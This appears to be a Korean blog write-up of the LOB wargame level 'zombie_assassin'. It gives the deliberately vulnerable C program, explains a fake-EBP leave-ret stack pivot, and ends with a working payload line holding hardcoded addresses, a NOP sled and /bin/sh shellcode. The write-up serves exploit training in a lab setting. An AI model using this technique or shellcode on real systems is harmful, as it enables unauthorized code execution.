1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
    // strncpy instead of strcpy!
    strncpy(buffer, argv[1], 48); 
    printf("%s\n", buffer);
}
 
cs

힌트로 FEBP가 주어졌다. FakeEBP를 이용하란것 같다.

일단 저번과 비슷한 소스다. 라이브러리와 스택으로 점프못하게 필터링을 해놓았다.

그리고 strncpy로 복사할 문자열수를 48까지로 잡아놔서... 저번과 같이 ret sled는 못할것같다.


하란대로 FakeEBP를 이용하자.


헷갈리므로 RET가 리턴어드레스이고 ret가 에필로고 leave-ret의 ret라고 하겠다.


1. 먼저 SFP를 argv[1]의 값이 있는 곳의 주소로 덮고 RET를 leave-ret의 주소로 덮는다.


---------------------------------------------------

  |  Buf  |  SFP  |  RET  |  argv  |

---------------------------------------------------

↑       ↑

esp    ebp


2. main이 종료되면서 첫번째 leave-ret이 수행된다.

mov esp ebp, pop ebp가 수행되고 ebp에는 FakeEBP가 자리잡는다.


---------------------------------------------------

  |  Buf  |  SFP(fake)  |  RET(leave-ret)  |  argv  |

---------------------------------------------------

   ↑

             esp,ebp


---------------------------------------------------

  |  Buf  |  SFP(fake)  |  RET(leave-ret)  |  argv  |

---------------------------------------------------

               ↑

                                   esp


그리고 ret이 수행되어 두번째 leave-ret으로 뛰게 된다.


2. 두번째 leave-ret이 수행된다.

mov esp ebp가 수행되면서 esp는 ebp(FakeEBP)가 있는 곳으로 이동한다.

pop ebp      esp값이 4증가한다


pop eip, jmp eip   으로 인해 원하는 주소로 점프할 수 있게 된다.




설명을 잘 못해서 저리 표현되었다. 

간단히 말하자면 ebp를 조작하여 leave-ret를 호출하여 leave를 통해 조작된 FakeEBP의 주소로 ESP를 이동시켜 거기서 esp를 기준으로 다시 ret하여 

공격자가 지정된 곳으로 흐름을 조종하는 것이다.


자 이제 공격해보자.



leave-ret 주소 : 0x80484df 




argv[1]의 주소도 찾았다.


DUMMY(4)+&shellcode+버퍼(32) + FakeEBP + leave-ret + shellcode 로 하고 FakeEBP+8인곳에 shellcode의 주소를 두자


Dummy와 &shellcode는 FakeEBP를 통해 esp가 이동하고 pop ebp, pop eip, jmp eip를 위해 넣었다.



payload : ./zombie_assassin `python -c 'print("AAAA"+"\x42\xf8\xff\xbf"+"A"*32+"\xf2\xf7\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`


클리어!


'Wargame > LOB' 카테고리의 다른 글

[LOB] succubus -> nightmare  (0) 2018.04.03
[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02

+ Recent posts